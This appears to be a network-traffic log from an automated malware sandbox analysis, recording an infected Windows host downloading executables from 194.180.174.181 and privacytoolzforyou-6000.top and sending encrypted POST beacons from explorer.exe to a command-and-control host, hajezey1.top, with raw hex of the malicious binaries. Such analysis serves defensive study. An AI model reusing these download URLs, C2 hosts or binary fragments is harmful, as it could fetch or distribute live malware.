Oct 29, 2021 17:56:10.860601902 CEST	11673	IN	Data Raw: 6d 36 64 2f 70 47 55 2b 31 31 52 35 34 34 41 43 35 62 5a 74 36 59 42 4d 52 30 43 31 36 76 6e 61 4d 68 45 57 6f 7a 57 5a 51 72 71 37 46 7a 4e 74 32 72 6c 42 53 59 70 38 4e 48 4c 66 4d 37 50 43 6c 47 71 52 58 55 47 31 66 54 30 33 62 59 5a 53 79 65 Data Ascii: m6d/pGU+11R544AC5bZt6YBMR0C16vnaMhEWozWZQrq7FzNt2rlBSYp8NHLfM7PClGqRXUG1fT03bYZSyegS3GgqJhdV9zp2CPUXShl3z7fO2JdGgXNLRMXRh/Nfiv6ILEv+XsGaEW5ps0VRhmxSJ/VEKZJIbFfWmCmK99zDsGgLdct3AvAkTCAp4GVrsbHlav1VvlypD/V06pCPYUcUsxczv+WNEZ7wI41H98ATWDIIIOVXfec
Oct 29, 2021 17:56:10.860635042 CEST	11675	IN	Data Raw: 51 75 33 4f 37 70 36 36 65 51 53 35 2b 4c 34 5a 6f 31 37 35 39 45 4c 65 68 5a 56 76 6d 71 77 61 30 4b 73 79 58 6c 59 76 42 42 43 51 35 72 45 48 68 52 7a 4e 51 61 4d 35 52 6e 58 2b 52 66 39 41 30 6b 52 6f 55 61 30 44 66 35 55 56 76 54 62 35 4c 71 Data Ascii: Qu3O7p66eQS5+L4Zo1759ELehZVvmqwa0KsyXlYvBBCQ5rEHhRzNQaM5RnX+Rf9A0kRoUa0Df5UVvTb5Lqbd2rcCnbCNM9i8Q3QwFUq2gGEndWC8ph7Ctr/00FZuh0cceq7enT+xsOkAeZ+QiM815p8F7XTBqfHXJjN7zq/MSCAZcU7dQCxKHskFy49Vv9YBqEFGKq2NROJKca86VjTu3NX5D/NzPYbR8SjpcdiypatmYjfGoli
Oct 29, 2021 17:56:10.860671043 CEST	11676	IN	Data Raw: 63 37 4d 34 33 53 6d 44 4e 57 4e 54 46 69 65 35 4c 33 7a 5a 53 6c 75 45 44 66 5a 53 34 4f 41 4a 33 6f 2f 57 63 52 6c 47 4b 54 59 38 44 4b 54 5a 45 50 30 70 43 6d 77 70 67 61 65 6e 30 43 37 32 56 52 48 32 43 5a 76 52 53 68 32 35 76 59 6d 58 39 58 Data Ascii: c7M43SmDNWNTFie5L3zZSluEDfZS4OAJ3o/WcRlGKTY8DKTZEP0pCmwpgaen0C72VRH2CZvRSh25vYmX9X+VCJVJFaMc0R4+ydp6hYmqfPc90hAR0996C1mN7S8XHGQUUmQeV2hCa9UqrM0PgafYRDLJZs1TSq1Ev7Zvs+ntgIbyalDOXghGrVwcoC3WKEHtCZhOQLc/Dcm18BDeJJkL6TcYDIPxFNabcBmeS4vuhbiIw3CAL9r
Oct 29, 2021 17:56:10.860706091 CEST	11678	IN	Data Raw: 70 2f 72 34 6c 39 59 4c 51 30 6f 2b 4c 68 39 31 77 4f 46 59 41 63 77 62 56 79 6d 46 64 57 54 72 30 71 66 33 2b 41 41 69 44 78 63 50 56 48 34 4b 72 6e 5a 66 70 61 41 46 34 32 61 53 51 72 54 36 75 55 45 70 45 4d 32 37 65 6c 33 50 44 6a 57 48 4c 5a Data Ascii: p/r4l9YLQ0o+Lh91wOFYAcwbVymFdWTr0qf3+AAiDxcPVH4KrnZfpaAF42aSQrT6uUEpEM27el3PDjWHLZpNvtH1NXtz4w45NwTzk/pn0BrEbDGr+ASz/CTx9cs49eMYaeeaX/xQTL4uHFI2Ua5AakHDFJjzxENjFd8LLiwfhqL6OB4/Ee9lb37+V0xDwn+h/AkKpL5FHObiCWY59J3/m4r70GvGpVHWFHKJlNVCVf3dudLFwMt
Oct 29, 2021 17:56:10.860734940 CEST	11678	IN	Data Raw: 4f 37 68 55 78 74 6d 5a 4e 4a 37 36 4a 49 56 47 75 76 30 78 47 79 70 65 4a 4f 73 67 4d 56 42 70 68 36 6e 6c 35 75 54 39 66 42 6f 4a 49 72 78 65 75 33 61 34 59 54 59 46 38 4e 63 34 69 71 71 4d 58 70 6c 6f 4e 5a 4b 43 6a 65 50 56 77 4e 54 71 37 72 Data Ascii: O7hUxtmZNJ76JIVGuv0xGypeJOsgMVBph6nl5uT9fBoJIrxeu3a4YTYF8Nc4iqqMXploNZKCjePVwNTq7rYfp+4KPrrYIrHzkmvFsE/rk9shnO8ENkXEXLYky+T+bau946T4PDMLiS1lrYbFgJ9qhe/but45vio3uA+13SN1diqrMhg8HNi4o/YixzAXA97f20cX7EXzI8XtHJzuo5hZBRQUTNrsBG1JYqajhUgVSOKDxSsQ==
Oct 29, 2021 17:56:10.860831022 CEST	11678	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 29, 2021 17:56:10.887531996 CEST	11681	OUT	GET //l/f/UJ1rynwB3dP17Spz23JR/c8a165d96af5f02e4cac679a1908533dbdcac0e8 HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: 194.180.174.181
Oct 29, 2021 17:56:11.161082983 CEST	11822	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Oct 2021 15:56:11 GMT Content-Type: application/octet-stream Content-Length: 916735 Connection: keep-alive Last-Modified: Wed, 01 Sep 2021 16:21:39 GMT ETag: "612fa893-dfcff" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 17 19 74 5c 00 10 0c 00 12 10 00 00 e0 00 06 21 0b 01 02 19 00 5a 09 00 00 04 0b 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 70 09 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 0c 00 00 06 00 00 1c 87 0e 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 c0 0a 00 9d 20 00 00 00 f0 0a 00 48 0c 00 00 00 20 0b 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 0b 00 bc 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 0b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 f1 0a 00 b4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 58 58 09 00 00 10 00 00 00 5a 09 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 fc 1b 00 00 00 70 09 00 00 1c 00 00 00 60 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 14 1f 01 00 00 90 09 00 00 20 01 00 00 7c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 b0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 9d 20 00 00 00 c0 0a 00 00 22 00 00 00 9c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 48 0c 00 00 00 f0 0a 00 00 0e 00 00 00 be 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 00 0b 00 00 02 00 00 00 cc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 10 0b 00 00 02 00 00 00 ce 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 20 0b 00 00 06 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 bc 33 00 00 00 30 0b 00 00 34 00 00 00 d6 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 d8 02 00 00 00 70 0b 00 00 04 00 00 00 0a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 d8 98 00 00 00 80 0b 00 00 9a 00 00 00 0e 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 f5 1a 00 00 00 20 0c 00 00 1c 00 00 00 a8 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 80 1a 00 00 00 40 0c 00 00 1c 00 00 00 c4 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 37 00 00 00 00 00 bc 08 00 00 00 60 0c 00 00 0a 00 00 00 e0 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 37 30 00 00 00 00 00 69 02 00 00 00 70 0c 00 00 04 00 00 00 ea 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 d3 1c 00 00 00 80 0c 00 00 1e 00 00 00 ee 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 90 02 00 00 00 a0 0c 00 00 04 00 00 00 0c 0c 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELt\!Zpa H 03.textXXZ`P`.datap`@`.rdata \|@`@.bss(`.edata "@0@.idataH@0.CRT,@0.tls @0.rsrc @0.reloc304@0B/4p@@B/19@B/31 @B/45@@B/57`@0B/70ip@B/81@B/92
Oct 29, 2021 17:56:11.161137104 CEST	11823	IN	Data Raw: 00 00 00 00 00 40 00 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @B
Oct 29, 2021 17:56:11.161176920 CEST	11824	IN	Data Raw: e8 42 1c 09 00 83 ec 0c 85 c0 89 c5 0f 85 5a ff ff ff 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 21 1c 09 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 fa 1b 09 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 73 fc Data Ascii: BZ\|$D$4$!\|$D$4$\|$D$4$s\|$D$4$'aT$$tL$(D$ M&T$T$U=at9$a`aQtD$

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.6	49837	162.159.134.233	443	C:\Users\user\AppData\Local\Temp\60DF.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.6	49758	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:54:57.506769896 CEST	1061	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://agvlhndt.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 197 Host: hajezey1.top
Oct 29, 2021 17:54:57.506782055 CEST	1062	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 33 91 9f 22 Data Ascii: lI\|FG2@i^mwmwu$f]d3"%N&lU,Jyw{dq`NJ0;dB_4d>YBNrn,"'Ah;%dh\|jk/
Oct 29, 2021 17:54:57.587388992 CEST	1062	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:54:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 0d 0a 14 00 00 00 7b fa f1 11 b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.6	49760	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:54:58.134718895 CEST	1072	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dyrgluo.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 279 Host: hajezey1.top
Oct 29, 2021 17:54:58.134738922 CEST	1073	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 9e 66 5d 02 c8 a1 c1 64 19 80 9e 0d Data Ascii: lI\|FG2@i^mwmwu$f]de7\|szu)-m^aL+hN1P#9; 93p1YCG\7Sf#wBS $)9IsEOrq(@Q`VQv\I#o<a.;
Oct 29, 2021 17:54:58.213341951 CEST	1073	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:54:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 0b a2 13 cc 7b b8 43 12 c2 55 a1 b9 67 f4 25 45 51 b8 f6 cb 41 e1 0e 88 16 95 e1 63 da 7d b3 ef d2 01 79 e4 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OOj{CUg%EQAc}yc0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.6	49761	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:54:58.751471996 CEST	1074	OUT	GET /downloads/toolspab2.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: privacytoolzforyou-6000.top
Oct 29, 2021 17:54:58.892142057 CEST	1075	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 15:54:58 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38 Last-Modified: Fri, 29 Oct 2021 15:54:01 GMT ETag: "54e00-5cf7fd603d2d5" Accept-Ranges: bytes Content-Length: 347648 Connection: close Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 34 de 0b c3 70 bf 65 90 70 bf 65 90 70 bf 65 90 1f c9 ce 90 5c bf 65 90 1f c9 fb 90 52 bf 65 90 1f c9 cf 90 f0 bf 65 90 79 c7 f6 90 77 bf 65 90 70 bf 64 90 0f bf 65 90 1f c9 ca 90 71 bf 65 90 1f c9 ff 90 71 bf 65 90 1f c9 f8 90 71 bf 65 90 52 69 63 68 70 bf 65 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 5e 32 52 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 cc 03 00 00 c4 70 02 00 00 00 00 f0 ca 01 00 00 10 00 00 00 e0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 74 02 00 04 00 00 a1 ce 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 cf 03 00 50 00 00 00 00 60 73 02 a8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 73 02 84 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 bf 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a0 ca 03 00 00 10 00 00 00 cc 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 c8 69 6f 02 00 e0 03 00 00 16 00 00 00 d0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 7a 65 67 75 00 00 00 e5 02 00 00 00 50 73 02 00 04 00 00 00 e6 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 3f 00 00 00 60 73 02 00 40 00 00 00 ea 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 cc 23 01 00 00 a0 73 02 00 24 01 00 00 2a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$4pepepe\eReeywepdeqeqeqeRichpePEL^2R_p@tdP`s?s0p@.text `.dataio@.zeguPs@.rsrc?`s@@@.reloc#s$*@B
Oct 29, 2021 17:54:58.892180920 CEST	1076	IN	Data Raw: 90 d1 03 00 ac d1 03 00 ba d1 03 00 c6 d1 03 00 d2 d1 03 00 ea d1 03 00 08 d2 03 00 22 d2 03 00 34 d2 03 00 50 d2 03 00 68 d2 03 00 76 d2 03 00 8a d2 03 00 98 d2 03 00 b2 d2 03 00 c6 d2 03 00 d6 d2 03 00 f2 d2 03 00 02 d3 03 00 14 d3 03 00 2c d3 Data Ascii: "4Phv,@Tp*:Lh~ 4Ttt`
Oct 29, 2021 17:54:58.892205954 CEST	1078	IN	Data Raw: 22 00 2c 00 20 00 30 00 29 00 00 00 00 00 72 00 61 00 69 00 73 00 65 00 00 00 72 00 75 00 6e 00 74 00 69 00 6d 00 65 00 20 00 65 00 72 00 72 00 6f 00 72 00 20 00 00 00 00 00 0d 00 0a 00 00 00 00 00 54 00 4c 00 4f 00 53 00 53 00 20 00 65 00 72 00 Data Ascii: ", 0)raiseruntime error TLOSS errorSING errorDOMAIN errorR6033- Attempt to use MSIL code from this
Oct 29, 2021 17:54:58.892230988 CEST	1079	IN	Data Raw: 0a 00 2d 00 20 00 70 00 75 00 72 00 65 00 20 00 76 00 69 00 72 00 74 00 75 00 61 00 6c 00 20 00 66 00 75 00 6e 00 63 00 74 00 69 00 6f 00 6e 00 20 00 63 00 61 00 6c 00 6c 00 0d 00 0a 00 00 00 00 00 00 00 52 00 36 00 30 00 32 00 34 00 0d 00 0a 00 Data Ascii: - pure virtual function callR6024- not enough space for _onexit/atexit tableR6019- unable to open console
Oct 29, 2021 17:54:58.892256021 CEST	1081	IN	Data Raw: 73 00 69 00 7a 00 65 00 6f 00 66 00 28 00 6f 00 75 00 74 00 6d 00 73 00 67 00 5b 00 30 00 5d 00 29 00 29 00 2c 00 20 00 4c 00 22 00 5c 00 6e 00 5c 00 6e 00 22 00 29 00 00 00 2e 00 2e 00 2e 00 00 00 77 00 63 00 73 00 6e 00 63 00 70 00 79 00 5f 00 Data Ascii: sizeof(outmsg[0])), L"\n\n")...wcsncpy_s(pch, progname_size - (pch - progname), L"...", 3)<program name unknown>wcscp
Oct 29, 2021 17:54:58.892280102 CEST	1082	IN	Data Raw: 00 00 00 00 00 ac eb 3f 00 00 00 00 00 4e eb 3f 00 00 00 00 00 4e eb 3f 00 00 00 00 00 f2 ea 3f 00 00 00 00 00 f2 ea 3f 00 00 00 00 00 98 ea 3f 00 00 00 00 00 98 ea 3f 00 00 00 00 00 42 ea 3f 00 00 00 00 00 42 ea 3f 00 00 00 00 00 ec e9 3f 00 00 Data Ascii: ?N?N?????B?B?????H?H?????b?b???????F?F??
Oct 29, 2021 17:54:58.892640114 CEST	1083	IN	Data Raw: a4 3f 88 e9 d7 3f 89 f2 43 67 f9 af 3f 3d 00 30 89 8a d3 98 d8 3f 57 2f 1e 07 66 f6 31 3d 00 60 03 28 04 4a d9 3f 44 6b 8c b0 bc e7 30 3d 00 68 bf f4 23 f1 d9 3f 1f 40 f2 15 20 89 36 3d 00 80 db ab fc 99 da 3f 11 a3 87 5f 9c e8 11 3d 00 88 14 7c Data Ascii: ??Cg?=0?W/f1=`(J?Dk0=h#?@ 6=?_=\|D?&?4j<='?Qn&=?l=6?DX,4=?-Q2=xbt?WE<.l?7w,=?l>=%?Nl,"=@\r??t8=85R
Oct 29, 2021 17:54:58.892668962 CEST	1085	IN	Data Raw: 58 68 b7 3f 2c e4 6e 40 34 60 ed 3c 00 b0 e6 24 9e a8 b7 3f db d1 1c ef f1 05 e7 3c 00 b6 6e 1c e5 e8 b7 3f fe 94 39 f0 dc ae df 3c 00 ad 00 97 2d 29 b8 3f 07 5c aa 9d bb bf c4 3c 00 d6 c5 98 77 69 b8 3f e0 a1 e9 e5 11 3d ef 3c 00 52 e8 25 c3 a9 Data Ascii: Xh?,n@4`<$?<n?9<-)?\<wi?=<R%?f@<B?aw<G^?m(<<2;j?PE<?</<:T?Ft<+?NibzP<l? %X<aY?]@_}<nL?G<1-
Oct 29, 2021 17:54:58.892743111 CEST	1086	IN	Data Raw: e3 3c 00 40 cc 93 d9 9c cc 3f 1a ad c8 1c ee 45 ea 3c 00 56 4f 75 7f de cc 3f 21 53 97 c3 80 58 f4 3c 00 0f 62 11 2d 20 cd 3f 43 b2 3a 92 07 e1 f6 3c 00 c0 10 7c e2 61 cd 3f 42 ae 3c af b0 24 fb 3c 00 e7 7b c9 9f a3 cd 3f 2b 58 ea a9 55 47 e9 3c Data Ascii: <@?E<VOu?!SX<b- ?C:<\|a?B<$<{?+XUG<me?>U<o]2'?I<i?G<o? n<9[?\|^<.?>oj<._p?1S<X?l<~?o.x<%3d?{=
Oct 29, 2021 17:54:58.892787933 CEST	1088	IN	Data Raw: 8d 1e 0a c9 f0 52 00 3d 00 6c 5b e0 f2 5d e2 3f 1e cc 24 c5 9c 69 10 3d 00 77 2f b3 64 aa e2 3f be f8 1d b8 43 83 1b 3d 00 9a 28 c9 4f f7 e2 3f 75 82 bc 31 e4 dd 1b 3d 00 9a 85 2f b8 44 e3 3f 05 12 20 ba 19 26 1d 3d 00 b7 87 20 a2 92 e3 3f 69 fe Data Ascii: R=l[]?$i=w/d?C=(O?u1=/D? &= ?iC1]<Ei?X=g<P~0?Y;= ]?m<?A8y<7l ?S6==.q?+`=?%!5=oh?y=iQi?v7=?dDR
Oct 29, 2021 17:54:58.945322990 CEST	1089	IN	Data Raw: e9 87 8c 97 ef 3f 56 9f b4 f3 f3 94 ef 3f 08 25 11 0d 53 92 ef 3f 56 a9 ea d1 a9 8f ef 3f df 96 25 40 f8 8c ef 3f 08 04 9f 55 3e 8a ef 3f 32 aa 2c 10 7c 87 ef 3f d0 dc 9c 6d b1 84 ef 3f 56 80 b6 6b de 81 ef 3f 06 01 39 08 03 7f ef 3f 98 49 dc 40 Data Ascii: ?V?%S?V?%@?U>?2,\|?m?Vk?9?I@\|?P3y??}>v?H\|As?#<p?_0.m?tj?f?c?3)`?i]?F)Z?2VV?f\S?B?}4P?VL?{fI?uSE?\|uB?1<>?(b

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.6	49762	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:02.470056057 CEST	1434	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ctwwxytaud.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 143 Host: hajezey1.top
Oct 29, 2021 17:55:02.470073938 CEST	1435	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 9e 66 5d 02 c9 a1 c1 64 29 bf 9f 10 Data Ascii: lI\|FG2@i^mwmwu$f]d)} N=h^p8KJZz,`]N"=J3Q)_f?H
Oct 29, 2021 17:55:02.548341036 CEST	1435	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to 